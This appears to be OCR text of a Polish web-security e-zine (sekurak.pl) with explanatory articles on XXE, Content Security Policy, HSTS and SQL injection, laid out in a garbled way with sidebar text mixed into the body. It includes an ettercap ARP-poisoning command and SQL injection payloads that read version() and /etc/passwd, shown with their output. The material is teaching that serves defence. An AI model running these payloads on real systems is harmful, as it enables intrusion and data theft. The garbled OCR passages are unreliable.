Warto wiedzie¢, ze XXE umozliwia czytanie plikow lokalnych; wykonanie zapy-
tania http(s), ftp, a takze innych protokotéw. Stad prosta droga do skanowania sieci
lokalnej (np. enumeracji hostéw) z uzyciem tzw. Server Side Request Forgery. Mozli-
wosci, jakie daje atak XXE, sg silnie zalezne od uzywanych technologii, np.

» W niektérych bibliotekach Javy, odwotanie sie do nazwy katalogu (np. /etc/) po-
woduje wylistowanie jego zawartosci.

» W pewnych implementacjach mozna uzywac protokotu gopher://, ktéry umozli-
wia wysytanie danych de facto w dowolnym protokole pod dowolny port.
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Ochrona przed atakiem XXE Injection polega po prostu na blokowaniu mozliwosci

Czym jest
Content Security Policy?
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importowania zewnetrznych encji - zwykle w danych pobieranych od uzytkownika Czym jest podatnos¢ CSRF ]
taka funkcja nie jest do niczego potrzebna. Przyktadowo w PHP mozna uzy¢ funkgji: WSTEP (Cross-Site Request Forgery):
I 1. libxml_disable_entity_ loader(true); . o o ) Problemy z XXE
W dobie coraz powszechniejszych zagrozen, czyhajacych na nas w cyberprzestrze- (XML eXternal Entity)
Inne jezyki rowniez majg swoje odpowiedniki, odsytam do dokumentacji. W czesci ni, coraz bardziej istotng kwestig staje sie poziom zabezpieczen, jaki oferujg namich
interpretatorow XML-a dotaczanie zewnetrznych encji jest domyslnie wytaczone. tworcy na kazdym etapie korzystania z aplikacji webowych. Rosnaca swiadomos¢ Czym jest

PODSUMOWANIE

Przyjmujac dane w postaci dokumentu XML, musimy pamieta¢ o podstawowej
zasadzie bezpieczenstwa: nigdy nie ufaj danym otrzymanym od uzytkownika. W
tym przypadku zagrozeniem jest niesie importowanie encji z zewnetrznych plikow,
umozliwiajgce atak Path traversal.

Wiasciwie jedynym powszechnie uzywanym zabezpieczeniem jest catkowite
wytaczenie fadowania zewnetrznych encji w parserze XML-a.

DALSZA LEKTURA

Zainteresowanych tematem zachecamy do kontynuowania lektury i po-
znania bardziej zaawansowanych technik wykorzystywania XXE.

zagrozen zmusza organizacje zajmujace sie tworzeniem i rozwijaniem standardow
dla Internetu, do wdrazania mechanizméw pozwalajacych na skuteczniejsza walke
z atakami na aplikacje webowe.

Jednym z takich standardéw jest Content Security Policy (CSP). Jej autorami sg
Adam Barth i Mike West z Google Inc. oraz Dan Veditz z Mozilla Foundation. Catos¢
jest opracowywana pod skrzydtami W3C w ramach grupy roboczej zorientowanej
wokot bezpieczenstwa. W chwili pisania tego artykutu najnowsza wersjg CSP 1.1 byt
szkic roboczy z 4. lipca 2013 roku (dostepny pod adresem Content Security Policy
1.1, W3C Working Draft 04 June 2013).

Czym jest Content Security Policy? W najwiekszym skrocie - jest to narzedzie
pozwalajace tworcy aplikacji webowej na sciste zdefiniowanie zrédet zewnetrznych
wykorzystywanych przez aplikacje www (pliki zewnetrzne JavaScript czy CSS, obraz-
kiiinne elementy multimedialne). Ograniczenie to ma zapobiegac atakom XSS, kté-
re dofaczajg do zrédet strony skrypty doczytywane z innych lokalizacji sieciowych.

Méwigc inaczej, CSP umozliwia utworzenie ‘whitelist’ (listy dopuszczalnych war-
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© przyktady btedéw XXE znajdowanych w ramach programéw bug tosci) tych zasobdw zewnetrznych (badz skryptéw), ktére moga by¢ w aplikacji uzy- PHP Object Injection
bounty, te. Wszystkie nie pasujace do polityki zasoby beda przez przegladarke odrzucone i ZendFramework2
© eskalacja XXE do zdalnego wykonywania kodu, jako niedozwolone, a sama przegladarka zgtosi btad naruszenia regut polityki. OWASP AppSensor

© ciekawa prezentacja OWASP-u o XXE.

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeristwa
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty.

Developer Tools - http://127.0.0.1:8000/csp.html

1. Przyktadowy komunikat btedu zgtoszony przez przeglgdarke Chrome w przypadku
naruszenia Content Security Policy (zrodfto).
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CONTENT SECURITY POLICY W AKCJI

CSP 1.1 zawiera definicje dwdéch nagtéwkéw odpowiedzi HTTP, ktére serwer moze
ustawic. Sg to:

» Content-Security-Policy

» Content-Security-Policy-Report-Only

W fazie eksperymentalnej znajduja sie odpowiedniki tych nagtéwkéw, ktére be-
dzie mozna umieszcza¢ w sekcji <head> dokumentu HTML, w postaci znacznikéw
<meta> (http-equiv="content-security-policy” i http-equiv="content-security-poli-
cy-report-only”). W tresci nagtéwka definiujemy Security Policy dla naszej aplikacji.
Do dyspozycji mamy tzw. dyrektywy, za pomoca ktérych mozemy bardzo szczeg6-
towo okresli¢, co przegladarka moze zatadowac i uruchomi¢ w kontekscie wykony-
wanego kodu:

script-src to dyrektywa odpowiedzialna za definiowanie regut dla JavaScript.
Moze ona przyja¢ postac ciggu zawierajgcego wskazanie konkretnych URI, z kto-
rych skrypty moga zosta¢ uruchomione (jesli dany URI nie znajdzie sie na tej liscie,
dotgczenie go znacznikiem <script src="http://URI/script.js"> nie spowoduje jego
zatadowania, a przegladarka zgtosi btad naruszenia polityki CSP).

Cigg moze zawiera¢ dowolng ilos¢ adresow. Moga to byc¢ adresy jednoznacznie
identyfikujace dang domeng, ale mozemy uzywac takze tzw. ‘wildcard;, czyli znaku
*’ okreslajacego dowolng warto$¢ w miejscu, gdzie zostat on zastosowany. Moze to
by¢: protokot, nazwa domenowa, subdomena czy port.

Ostatnig mozliwa wartoscig jest ‘self’ (ujete w apostrofy — to bardzo wazne, by o tym
pamieta¢, w innym przypadku stowo self zostanie potraktowane jako... host o takiej na-
zwie). Stowo to wskazuje na mozliwos¢ wykonywania wszystkich skryptéw JavaScript
pochodzacych z dokfadnie tej samej domeny, z ktérej pochodzi wywotujacy dokument.

Pora na przyktad praktyczny. Wyobrazmy sobie sytuacje, ze nasz serwis wszyst-
kie zewnetrzne pliki z kodem JavaScript zaczytuje z serwera CDN (Content Delive-
ry Network) zlokalizowanego pod adresem http://cdn.greatstuff.serv. Dodatkowo
kilka prostych skryptéw znajduje sie bezposrednio na naszym serwerze. W takiej
sytuacji prawidtowo skontruowany nagtéwek CSP powinien mie¢ taka postac:

1. Content-Security-Policy: script-src 'self'
http://cdn.greatstuff.serv

Oznacza to, ze w przypadku udanego ataku Persistent/Stored XSS oraz osadze-
nia przez atakujgcego w payloadzie XSS znacznika <script> zawierajgcego atrybut
‘src’ wskazujacy na skrypt w domenie http://agresor.evil.com - kod sie nie zataduje
i nie wykona sie, gdyz adres nie jest dopuszczony przez CSP.

Dokfadnie w taki sam sposéb powstajg reguty dla pozostatych dyrektyw. Przyj-
rzyjmy sie im zatem kolejno, wyjasniajac, za ktére elementy sg odpowiedzialne.

default-src jest brana pod uwage w momencie, gdy nie jest zdefiniowana zad-
na dyrektywa dla konkretnego typu zasobéw (przyktadowo - gdy nie ma definigji
script-src, ale jest default-src — to ona bedzie brana pod uwage w przypadku rozpa-
trywania CSP dla plikéw JavaScript). Wartos¢ zdefiniowana w default-src nie pod-
lega dziedziczeniu, to znaczy, ze jawne zdefiniowanie dyrektywy dla innego typu
zasoboéw nadpisuje reguty z default-src (ale tylko i wytacznie dla tego konkretnego
typu, dla pozostatych, nie zdefiniowanych jawnie, nadal ma zastosowanie regufa
z default-src).

connect-src odpowiada za wszystkie pofagczenia, realizowane przez przegladar-
ke poprzez:

» Web Sockets

» metode open() obiektu XMLHttpRequest

» obstuge odbierania informacji o zdarzeniach od serwera (server sent events)
przez mechanizm EventSource

font-src pozwala na okreslenie CSP dla fontéw tadowanych poprzez reguty
@font-face kaskadowych arkuszy styléw CSS.

frame-src, bardzo wazna w kontekscie atakow XSS, w ktérych agresor prébuje
osadzi¢ element <iframe> (ramke) w zrodle strony i poprzez jej atrybut ‘src’ zatado-
wac i wykonac ztosdliwy kod. frame-src pozwala nam na ograniczenie potencjalnych
adreséw, z ktérych moga byc¢ zatadowane pliki JavaScript w taki sam sposéb, jak
dyrektywa script-src.

img-src definiuje reguty CSP dla obrazkéw. Reguty te zadziatajg dla:
» atrybutu ‘src’znacznika <img>
» wartosciurl(...) lub image(...) w kaskadowych arkuszach styli CSS
» wartosci atrybutu href znacznika <link rel>, jesli odnosi sie on do obrazka (np. ikony)

media-src odpowiada za atrybut src elementéw <video>, <audio>, <source> oraz
<track>.
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object-src - jak wyzej, ale dla elementéw <object> i <embed>

style-src - dla zewnetrznych arkuszy styli CSS

report-uri, stuzy do zdefiniowania adresu URL, pod ktéry przegladarka ma wy-
syta¢ raporty o naruszeniu Content Security Policy. To w naturalny sposéb wprowa-
dza nas w zagadnienia zwigzane z drugim nagtéwkiem CSP 1.1, o ktérym jeszcze
szczeg6towo nie mowilismy, czyli. ..

CONTENT-SECURITY-POLICY-REPORT-ONLY,
CZYLI KONTROLA BEZ REAKC]JI

Poza trybem dziatania wymuszonym przez definicje dyrektyw w nagtéwku Content-
-Security-Policy, CSP moze dziata¢ w tzw. trybie raportowania. Wszystkie reguty de-
finiuje sie doktadnie w ten sam sposéb, jednakze przegladarka nie bedzie bloko-
wata zasobow, a jedynie raportowata zaistniate naruszenie CSP.

Raportowanie odbywa sie poprzez wysytanie przez przegladarke zadania me-
todg POST protokotu HTTP (na adres podany w dyrektywie report-uri) raportu
w formacie JSON zawierajacego wszystkie informacje konieczne do identyfikacji
incydentu naruszenia CSP. | tak, w raporcie mozemy znalez¢ tzw. referrer, zabloko-
wany zasob lub wskazanie, ktora reguta zostata przez niego naruszona:

1. {

2. "csp-report": {

3. "document-uri": "http://example.org/page.html",

4. "referrer": "http://evil.example.com/",

5. "blocked-uri": "http://evil.example.com/evil.js",

6. "violated-directive": "script-src 'self' https://
apis.google.com",

7. "original-policy": "script-src ‘'self' https://
apis.google.com; report-uri http://example.org/
my_amazing_csp_report_parser"

. }

9. }

2. Przyktadowy raport naruszenia Content Security Policy (Zzrédfo).

Wykorzystanie nagtéwka Content-Security-Policy-Report-Only jest doskonatym
sposobem na przetestowanie, czy nasza polityka zostata zdefiniowana prawidtowo,
to znaczy, czy blokuje wszystkie nieautoryzowane zasoby, a dopuszcza te, ktére po-
winny zostac uzyte, nie blokujac jednoczesnie dziatania samej aplikacji.

Gdy przestaniemy juz otrzymywac powiadomienia o btedach, a nasz serwis czy
aplikacja bedzie dziata¢ prawidtowo, wtedy mozemy zamieni¢ nagtéwek Content-
-Security-Policy-Report-Only na aktywnie blokujacy Content-Security-Policy i cie-
szy¢ sie zwiekszonym bezpieczeristwem kodu.

WALKA Z INLINE

Do tej pory skupialismy sie na zablokowaniu zasobéw pochodzacych ze Zrédet ze-
wnetrznych, gdy tymczasem payloady XSS to z reguty fragmenty kodu osadzone
bezposrednio w tresci strony www. Otdz sytuacje te, chyba, ze jawnie na nie zezwo-
limy przy uzyciu opisanych ponizej dyrektyw, nie beda miaty miejsca - osadzony
kod w przypadku uzycia Content Security Policy po prostu sie nie wykona.

Tworcy specyfikacji Content Security Policy oczywiscie wzieli pod uwage, ze kto$
moze swiadomie chcie¢ dopusci¢ inne zachowanie. Do dyspozycji dali programi-
stom dwie dyrektywy: unsafe-inline oraz unsafe-eval. Mozna ich uzy¢ ZAMIAST
‘self’ dopuszczajac tym samym konstrukcje, ktére sa wytgczone domysinie. Przyj-
rzyjmy im sie dokfadniej.

Uzycie unsafe-inline zezwala przegladarce na wykonanie kodu JavaScript, znaj-
dujacego sie:

» jako fragment strony, pomiedzy znacznikami <script> oraz </script>
» jako kod zdefiniowany w postaciatrybutu znacznika HTML on[event], np.onclick="ja-
kasfunckja()" Takze taki kod zadziata prawidtowo, gdy uzyjemy unsafe-inline

W tym miejscu warto zwrocic uwage na pewng kwestie techniczng, mianowicie
- uzywanie Content Security Policy wymusza takg organizacje kodu, by caty JavaScript
znajdowat sie w zewnetrznym (badz zewnetrznych) plikach, a obstuga zdarzen, do tej
pory realizowana na zasadzie wykorzystywania takich inlineowych konstrukgji, zostata
przeniesiona na zewnatrz (element.addEventListener()). Zwigzane jest to m.in. z koncep-
Cjg odseparowania od siebie warstw prezentacji (HTML i CSS) od logiki (JavaScript). Za-
gadnienie to wykracza poza ramy tego artykutu i jest domeng programistéw jezyka Java-
Script, a nie 0s6b odpowiedzialnych za bezpieczenstwo — nalezy jednak o tym pamietac.

¥y R

SEKURAK.PL / [ITENINE

Czym jest podatnosé CSRF
(Cross-Site Request Forgery)?

Problemy z XXE
(XML eXternal Entity)

Czym jest
Content Security Policy?

HSTS czyli
HTTP Strict Transport Security

Czym jest SQL injection?
Czym jest XSS?

Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Wprowadzenie do narzedzia
Burp Suite

PHP Object Injection
- mato znana klasa podatnosci

PHP Object Injection
i ZendFrameworkZ2

OWASP AppSensor
- obron swojqg aplikacje

Btedy bezpieczenristwa
we frameworku Nuxeo

g

‘\

n Podziel sie zinem


http://tiny.pl/gxtpg
https://developer.mozilla.org/en-US/docs/Web/API/EventTarget.addEventListener
$$$/Dialog/Behaviors/GoToView/DefaultURL

Rafat ‘blade’ Janicki (Czym jest Content Security Policy?

unsafe-eval to druga dyrektywa zwigzana z kodem JS na stronie www. Do-
puszcza ona mozliwo$¢ wykonywania nastepujacych wbudowanych funkcji jezyka
JavaScript:
» eval(), ktéra wykonuje podany jej jako argument ciag znakéw jakby byt to kod
JavaScript:

| 1. eval("alert('XSS!!I1')");

jest rbwnoznaczne z:

| = alert('XSS!');

» setTimeout() oraz setinterval(), ktére jako swoj pierwszy argument takze moga
przyjac cigg znakdw i zinterpretuja go jako kod JS,

» konstruktor Function(), gdzie argumentem jest ciag znakéw definiujacy i zwra-
cajacy nowa funkcje: The Function constructor.

Uwaga: nie zaleca sie stosowania dyrektyw unsafe-inline oraz unsafe-eval.
Na koniec przyktadowa dyrektywa script-src, ktdra zawiera reguty umozliwiaja-

U

ce umieszczenie na swojej stronie przyciskow ,Tweet”,,G+" oraz, Like”":

1. script-src https://apis.google.com https://platform.
twitter.com;
2. frame-src https://plusone.google.com https://facebook.

com https://platform.twitter.com

INNE NAGEOWKI I TECHNOLOGIE HTTP, KTORE
ZWIEKSZAJA BEZPIECZENSTWO APLIKACJI WEBOWYCH

Content-Security-Policy oraz Content-Security-Policy-Report-Only nie wyczerpuja

szerokiego wachlarza mozliwosci, jakim dysponuje dzisiaj twérca aplikacji webo-

wej. Do arsenatu srodkéw obronnych nalezy dotaczy¢:

» Cross-Origin Resource Sharing — CORS,W3C Recommendation 16 January 2014

» X-Frame-Options — The X-Frame-Options response header, a dla dociekliwych
RFC 7034

» X-Content-Type-Options - IE8 Security Part VI: Beta 2 Update
» HTTP Strict Transport Security — HTTP Strict Transport Security
» X-XSS-Protection - IE8 Security Part IV: The XSS Filter

Warto zapoznac sie z przedstawionymi powyzej technikami. Ich konsekwentne
i odpowiednie stosowanie moze znaczaco podnies¢ poziom bezpieczenstwa na-
szej aplikacji badz serwisu internetowego, w szczegdlnosci odpornos$¢ na ataki XSS,
CSRF oraz pokrewne.

ZRODLA
© An Introduction to Content Security Policy | HTML5 Rocks

© CSP to the Rescue: Leveraging the Browser for Security | Twitter Engi-
neering Blog

© 4 HTTP SECURITY HEADERS YOU SHOULD ALWAYS BE USING | iBuil-
dings Blog

© Content Security Policy 1.1; W3C Working Draft 04 June 2013 | W3C

© Cross-Origin Resource Sharing; W3C Recommendation 16 January
2014 |W3C

Rafat 'bl4de' Janicki. Od wielu lat zwigzany z aplikacjami internetowymi,
od kilku jako HTML5/JavaScript Developer z doswiadczeniem w duzych
korporacjach. Interesuje sie takze tematyka bezpieczenstwa aplikacji
internetowych.

¥y R

SEKURAK.PL / [ITENINE

Czym jest podatnosé CSRF
(Cross-Site Request Forgery)?

Problemy z XXE
(XML eXternal Entity)

Czym jest
Content Security Policy?

HSTS czyli
HTTP Strict Transport Security

Czym jest SQL injection?
Czym jest XSS?

Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Wprowadzenie do narzedzia
Burp Suite

PHP Object Injection
- mato znana klasa podatnosci

PHP Object Injection
i ZendFrameworkZ2

OWASP AppSensor
- obron swojqg aplikacje

Btedy bezpieczenristwa
we frameworku Nuxeo

g

‘\

n Podziel sie zinem


https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
https://developer.mozilla.org/en-US/docs/Web/API/Window.setTimeout
https://developer.mozilla.org/en-US/docs/Web/API/Window.setInterval
http://devdocs.io/javascript/global_objects/function
https://platform.twitter.com/
http://www.w3.org/TR/2014/REC-cors-20140116/
https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options
http://tools.ietf.org/html/rfc7034
http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx
http://sekurak.pl/hsts-czyli-http-strict-transport-security/
http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
http://www.html5rocks.com/en/tutorials/security/content-security-policy/
https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
http://ibuildings.nl/blog/2013/03/4-http-security-headers-you-should-always-be-using
http://www.w3.org/TR/2013/WD-CSP11-20130604/
http://www.w3.org/TR/2014/REC-cors-20140116/
http://www.w3.org/TR/2014/REC-cors-20140116/
$$$/Dialog/Behaviors/GoToView/DefaultURL

.1 zacznij rozwalac...


https://rozwal.to/
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HSTS czyli
HTTP Strict Transport Security

W kolejnym odcinku opisujacym nagtowki HTTP zwigzane
z bezpieczenstwem webowym skupimy sie na HSTS czyli HTTP
Strict Transport Security. Wcze$niej pisaliSmy o fladze cookie
— HttpOnly

Protokot HTTP nigdy nie byt projektowany z myslg o bezpieczenstwie. W czasie, kie-
dy powstawaly jego pierwsze wersje, z sieci komputerowych korzystaty naukowe
osrodki obliczeniowe i paru naukowcow. W aktualnej wersji 1.1 takze nic w tym ob-
szarze nie zmieniono. Wynikiem tego jest sytuacja, ze do transmisji danych uzywany
jest czysty tekst. W skrdcie oznacza to, ze atakujacy jest w stanie przeprowadzi¢ atak
Man-in-the-Middle (MitM), tzn. podglada¢ oraz modyfikowac w locie cata transmi-
sje. W tym celu moze sie postuzyc¢ narzedziem Ettercap. Przyktadowo zatrucie tablic
ARP na hoscie i routerze mogtoby wygladac tak:

1. ettercap -Tq -i ethl -M arp:remote /192.168.1.1//
/192.168.1.5//

W tym momencie caty ruch przechodzi przez atakujgcego, ktéry ma w niego peten
wglad.

Z powyzszych powododw tak istotne jest uzywanie wersji HTTPS, czyli tunelowa-
nia protokotu HTTP w SSL/TLS. Nota bene zalecane jest uzywanie wersji TLS 1.1 lub
1.2, poniewaz starsze posiadajg liczne btedy. Szyfrowanie znaczaco ogranicza moz-
liwosci atakujacego w zakresie podgladania informacji o sesji lub jej modyfikacji.

W czym wiec moze poméc nagtéwek Strict-Transport-Security, skoro
jesteSmy juz chronieni przez szyfrowanie TLS?

Aby odpowiedzie¢ na to pytanie, musimy zobaczy¢, co sie dzieje, gdy uzytkow-
nik wchodzi na strone np. banku przez HTTP. W tym momencie serwer wysyta prze-
kierowanie (przy pomocy odpowiedzi 301) na wersje zabezpieczong HTTPS.

Wyglada to tak jak na ponizszym schemacie.

HTTP GET findex.html|

http:iibank.pl

N

HTTP 301 o '
Location: https:ifbank.plfindex.htm| ‘\:.
= °
X

HTTPS GET findex.html o Fitosbarki

W sytuacji, kiedy kto$ przeprowadza atak typu MiTM, atakujacy stara sie ulokowac
pomiedzy klientem a serwerem. Moze to wygladac tak:

http:Hbink.pI
HTTP GET findexhtml -

HTTP GET findex.html e
g 5
HTTP 200 HTTP 200 o
- - =
.

https:ffbank.pl

Inng sytuacja jest atak, w ktérym klient postuguje sie SSL-em, ale atakujacy, np. przy
pomocy narzedzi SSLStrip, jest w stanie zmusi¢ przegladarke uzytkownika do ko-
munikacji czystym tekstem. W tym samym czasie komunikacja atakujaca docelowy
serwer odbywa sie kanatem szyfrowanym.

Rozwiagzaniem tych problemoéw ma byc¢ propozycja nagtéwka Strict-Transport-
-Security, ktory pojawit sie w RFC 6797. Dziata on tak, ze jezeli przegladarka zobaczy,
ze witryna wysylta ten nagtéwek, to przez czas okreslony w nagtéwku cata komu-
nikacja bedzie sie odbywac po HTTPS. Jest to dziatanie na poziomie przegladarki,
wiec jezeli uzytkownik z niewiedzy lub przez roztargnienie bedzie prébowat pota-
czyc sie z wersjg HTTP, to przegladarka automatycznie podmieni jego zapytanie na
HTTPS oraz zmieni wszystkie wystepujace na stronie linki na HTTPS.

Podobnie jak w we wspomnianym juz artykule o Fladze HttpOnly, postuze sie
przechwyconga odpowiedzig od Googla:

HTTP/1.1 200 OK

Cache-Control: private, max-age=0
Content-Encoding: gzip

Content-Length: 3166

Content-Type: text/html; charset=UTF-8
Date: Thu, 27 Jun 2013 17:19:07 GMT
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Piotr Bratkowski HSTS czyli HTTP Strict Transport Security

Expires: Thu, 27 Jun 2013 17:19:07 GMT
Server: GSE
. Set-Cookie: GoogleAccountsLocale_session=pl; Secure
10. Set-Cookie: GAPS=1:4gDZvK5g:05fM52umoiFpi@So;Path=/;Ex
pires=Sat, 27-Jun-2015 17:19:06 GMT;Secure;HttpOnly
11. Set-Cookie: HSID=AeH9gHkGSn4x2JsR9;Domain=.google.
com;Path=/;Expires=Sat, 27-Jun-2015 17:19:06
GMT ;HttpOnly
12. Set-Cookie: SSID=AXftJgsxaxsASWe77;Domain=.google.
com;Path=/;Expires=Sat, 27-Jun-2015 17:19:06
GMT;Secure;HttpOnly
13. Strict-Transport-Security: max-age=2592000; includeSubDomains
14. X-Content-Type-Options: nosniff
15. x-frame-options: Deny
16. x-Xxss-protection: 1; mode=block
17. X-Firefox-Spdy: 3

Wida¢, ze zwracany jest nagtéwek Strict-Transport-Security z czasem trwania
2.592.000 sekund. Dodatkowo przegladarka informowana jest, ze ma uzywac tego
ustawienia dla wszystkich poddomen domeny google.com. Pojawia sie¢ jednak
problem: uzytkownik przy pierwszym potaczeniu do serwera nie jest chronio-
ny. Jego przegladarka dopiero po zobaczeniu nagtéwka wie, jak ma sie dalej zacho-
wywac. Pozostawia to luke w bezpieczenstwie...

Dostawcy przegladarek starajg sie rozwigzac ten problem przez zastosowanie
tego samego podejscia jak przy certyfikatach CA. Istnieje wbudowana w program
lista stron, dla ktorych nagtéwek HSTS jest juz ustawiony. Oczywiscie niematg trud-
nosc¢ sprawia skalowalnos¢, cho¢ rozwigzaniem mogtaby tu by¢ jakas forma integra-
¢ji z ustugg DNSsec.

Kolejnym problemem rozwigzywanym przez HSTS jest ,Click-Through Insecuri-
ty”, ktéry oznacza sytuacje, w ktoérej uzytkownik, widzac ostrzezenie o niewaznosci
certyfikatu, klika ,ignoruj” lub ,dalej”. Dzieje sie tak dlatego, ze uzytkownicy albo nie
zdajg sobie sprawy z istniejgcego zagrozenia lub sg przyzwyczajeni do certyfikatow
typu self-signed. W przypadku, kiedy uzywany jest nagtéwek HSTS, uzytkownik nie
dostanie monitu o mozliwosci zignorowania tego typu sytuacji, przegladarka po
prostu poinformuje o btedzie.

gi; To polaczenie jest niezaufane

Program Firefox zostal poproszeny o nawiazanie bezpiecznego potaczenia z serwerem httpsnow.org,
ale nie mozna potwierdzic bezpieczeristwa tego pofaczenia,

Zwykle podczas nawiazywania bezpiecznych potaczen witryny dostarczaja zaufanych informacji o
tozsamosci, doweodzac w ten sposab, ze uzytkownik taczy sie z wiasciwym serwerem. W przypadku tej
strony tozsamosc nie moze by¢ jednak zweryfikowana.

Co teraz zrobié?

Jegli zwykle potaczenie z ta witryna przebiega bez takich problemdw, blad ten moze oznaczad, ze ktog
probuje sig podszye pod te witryng, W tej sytuacji nie nalezy kontynuowad,

[ Zabierz mnie stad! ]

Szczegoly techniczne

httpsnow.org uzywa nieprawidtowego certyfikatu bezpieczenstwa,
Certyfikat nie jest zaufany, poniewaz certyfikat wystawcy nie jest zaufany.,

(Kod btedu: sec_error_untrustec_issuer)

Wiaczenie tego zabezpieczenia jest bardzo proste, poniewaz ogranicza sie do usta-
wienia w konfiguracji webserwera wysytania odpowiedniego nagtéwka. W serwe-
rze Apache mozna to zrobi¢, wydajac ponizsza dyrektywe:

1. Header always set Strict-Transport-Security "max-
age=2592000; includeSubDomains™

W mojej opinii warto stosowad tego typu zabezpieczenie, poniewaz dos¢ niskim
naktadem pracy jesteSmy w stanie podnies¢ bezpieczenstwo naszej strony. Ponadto
rozwigzania webowe zmierzajg w kierunku szyfrowania catej transmisji, co najlepiej
widac na przyktadzie protokotu SPDY, ktory m.in. zaktada tylko komunikacje przy
uzyciu SSL-a. SPDY stat sie baza dla draftu specyfikacji http 2.0.

Piotr Bratkowski. Inzynier sieciowy i konsultant ds. bezpieczenstwa z ponad
siedmioletnim doswiadczeniem. Odpowiedzialny za wdrazanie rozwigzan
sieciowych i bezpieczenstwa. Posiada certyfikaty profesjonalne od ISC2, F5
czy Junipera.
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Czym jest SQL injection?

PRZYKEAD PRAKTYCZNY

Zobaczmy, jaka jest istota tej podatnosci na przyktadzie prostej aplikacji napisanej

SEKURAK.PL / IEEEIVE

w jezyku PHP, komunikujacej sie z baza danych MySQL z wyswietleniem szczegtéw Czym jes.t podatnosc CSRF ,
newsa (przy okazji zaznaczam, ze podatnosc nie jest ograniczona tylko do jezyka PHP (Cross-Site Request Forgery):
v  Ztekstu dowiesz sie czy MySQL). Problemy z XXE
W normalnym uzyciu wyswietlenie newsa odbywa sie¢ poprzez odwotanie do (XML eXternal Entity)
© (zymjest podatnos¢ SQL injection URL-a: http://192.168.0.105/news_detail.php?id=1&action=view. Aplikacja wyko-
© Jakie s3 mozliwe skutki jej wykorzystania nuje wtedy nastepujace czynnosci: Czym jest
©  Wijaki sposob uzyskiwany jest nieautoryzowany dostep do bazy danych z wykorzystaniem Content Security Policy?
S0L inect
JQk' o I:nt tody och d atakami HSTS czyli
© Jakie s podstawowe metody ochrony przed atakami HTTP Strict Transport Security
Czym jest SQL injection?
WSTEP Czym jest XSS?

Czym jest SQL injection?

To jedna z do$¢ czestych i jednoczesnie niebezpiecznych podatnosci w aplikacjach
webowych (oraz niewebowych). Nie bez powodu SQL injection nalezy do pierwszej
(A1) z dziesieciu kategorii btedéw wymienianych w dokumencie OWASP Top Ten.
Juz sama nazwa wskazuje na rodzaj problemu - atakujacy wstrzykuje do aplikacji
(nieautoryzowany) fragment zapytania SQL. Wstrzykniecie zazwyczaj mozliwe jest
z jednego powodu - braku odpowiedniego sprawdzenia (walidacji) parametru
przekazanego przez uzytkownika. Taki parametr, gdy mamy do czynienia z SQL

Co sie jednak stanie w przypadku, gdy zmodyfikujemy wartos¢ zmiennej id? Na
przyktad w ten sposob: http://192.168.0.105/news_detail.php?id=-1 union select
version(),2-&action=view. Zobaczmy:

Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Wprowadzenie do narzedzia
Burp Suite

PHP Object Injection
- mato znana klasa podatnosci

injection, czesto przekazywany jest bezposrednio do zapytania SQL. PHP Object Injection
i i ZendFramework2
: 2o
Czym to moze skutkowacs? OWASP AppSensor

W zaleznosci od sytuacji mozemy mie¢ do czynienia z:

» nieautoryzowanym dostepem w trybie odczytu lub zapisu do catej bazy danych,

» mozliwoscig ominiecia mechanizmu uwierzytelnienia,

» mozliwoscig odczytania wybranych plikéw (system operacyjny, na ktérym pra-
cuje baza danych),

» mozliwosciag tworzenia plikdw w systemie operacyjnym, na ktérym pracuje baza,

» mozliwoscig wykonania kodu w systemie operacyjnym (uprawnienia uzytkowni-
ka, na ktorym pracuje baza lub web serwer — w przypadku aplikacji webowych).

- obron swojqg aplikacje
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http://sekurak.pl/nowy-dokument-owasp-top-ten-edycja-2013/
$$$/Dialog/Behaviors/GoToView/DefaultURL

Michat Sajdak (Czym jest SOL injection?

Okazuje sig, ze w tym przypadku mozna byto odczytac¢ wynik funkcji bazodano-
wej version()!
Na podobnej zasadzie mozna tu réwniez odczytac¢ wybrane pliki z filesystemu:

+ 192 1680005/ newrs_detail. phplid=-1 union select lpad_file{ fetc/passwd’), 2--&action=view

Podglad newsa o tytule: root:x:0:0:root-'root: hin'bash dasmon-x:1:1:dasmon:/'usr/st
man:x:%: 12 :man:/var'cache/'man:bin/sh lp:x:7: 7:1p:/varspoollpd: bin'sh manl:x:8:8:
www-data x-33:33 wwowe-datasvarwww bind'sh backup:x:34:34-backup:varbackup
Mib/gnats bin'sh nobodvi 65534:65534 nobodv: nonexistent: bin'sh libuaid:x: 100;
‘run/dbus:bin'false avahe:x:104:109:Avahy mDNS daemon,,,-~armun'avahi-dacmon
hplip:x: 107:7T:HPLIP system user,,,/var'mun'hplip:bin/false tests: 1000: 1000:est,,,
Mlib‘'mysgl:infalse openldap:x:-111:118:0Openl DAP Server Account, ,var/lib/ldap

2

Analogicznie - mozliwe jest réwniez pobranie danych z zupetnie innej tabeli niz
oryginalna‘news’ Na przyktad mozna pobrac login oraz hasta z tabeli‘users":

uuuuuuuuuu

Jak z kolei bedzie wygladac sytuacja w przypadku, gdy nie mamy do czynienia ze
zmienng liczbowa tylko z ciggiem znakow?
Zobaczmy na przykfadzie formularza logowania:

20

i
2
A

S gt s

W tym przypadku udato sie zalogowac na uzytkownika ‘admin’bez znajomosci jego
hasta.

W jaki sposdb mozna zalogowac sie na innego uzytkownika? Patrzac na dia-
gram powyzej, nalezatoby wybrac nie pierwszego, a kolejnego uzytkownika z tabeli
‘users'”:

T —

OCHRONA

W jaki sposéb sie ochronic?
Méwigc w duzym skrocie — w odpowiedni sposob weryfikowaé zmienne prze-
kazywane przez uzytkownika do aplikacji.
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Michat Sajdak (Czym jest SOL injection?

» W pierwszym oméwionym przypadku (zmienna id) wystarczy sprawdzac czy
przekazana zmienna jest liczba.

» W przypadku z mechanizmem logowania sytuacja jest troche bardziej skompli-
kowana - tutaj nalezy uniemozliwi¢ zamkniecie przez atakujgcego zmiennej tek-
stowej znakiem’ (np. uzywajac funkcji mysql_real_escape_string(), cho¢ sugero-
